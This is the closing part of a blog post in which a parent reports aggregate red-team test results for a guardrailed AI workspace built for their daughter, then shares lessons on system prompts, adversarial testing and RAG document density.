&lt;p&gt;Before my daughter ever touched it, I ran a structured red team evaluation across four categories:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Tests&lt;/th&gt;
&lt;th&gt;Pass&lt;/th&gt;
&lt;th&gt;Partial&lt;/th&gt;
&lt;th&gt;Fail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Safety&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RAG accuracy&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Boundary enforcement&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Instruction compliance&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;40&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;29&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;7&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;4&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Five escalation levels per category, from benign baseline probes up to combination attacks that blended two failure types in a single message. All four failures were remediated before deployment.&lt;/p&gt;

&lt;p&gt;The one open partial: a fallback scenario where a secondary example surfaces after the primary one. Low priority. On the list.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I'd Do Differently
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Start with requirements, not model selection.&lt;/strong&gt; I wasted a week comparing models before I understood that prompt quality and knowledge base structure matter more than model choice for a constrained use case like this. A well-prompted smaller model will outperform a poorly-prompted frontier model here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Write the system prompt like a contract.&lt;/strong&gt; Every ambiguity gets exploited — not maliciously, but by the model doing its best to be helpful in unexpected ways. Specify exact required phrases. Specify forbidden response structures. Be concrete.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Test adversarially before anyone uses it.&lt;/strong&gt; Especially for anything touching a minor's mental health. "Seems fine" isn't a standard.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Semantic density matters in RAG.&lt;/strong&gt; If your support documents are short and your reference documents are long, your support documents will lose retrieval. Either bulk them up or architect separate collections.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where It Stands
&lt;/h2&gt;

&lt;p&gt;The workspace is live. Safety escalation is solid. RAG retrieval is accurate across all tested scenarios. Boundary enforcement holds.&lt;/p&gt;

&lt;p&gt;My daughter hasn't broken it yet. That's the benchmark that actually matters.&lt;/p&gt;

&lt;p&gt;The full writeup with more detail on the RAG architecture, the rewriter script, and the complete test record is on my Hashnode — link in the comments.&lt;/p&gt;




&lt;p&gt;Has anyone else built guardrailed AI tooling for a specific vulnerable user population? I'd genuinely like to compare notes — especially on the RAG side. I suspect the density mismatch problem is more common than people realize and I haven't seen much written about it.&lt;/p&gt;




</description>
      <category>ai</category>
      <category>devops</category>
      <category>beginners</category>
      <category>machinelearning</category>
    </item>
  </channel>
</rss>
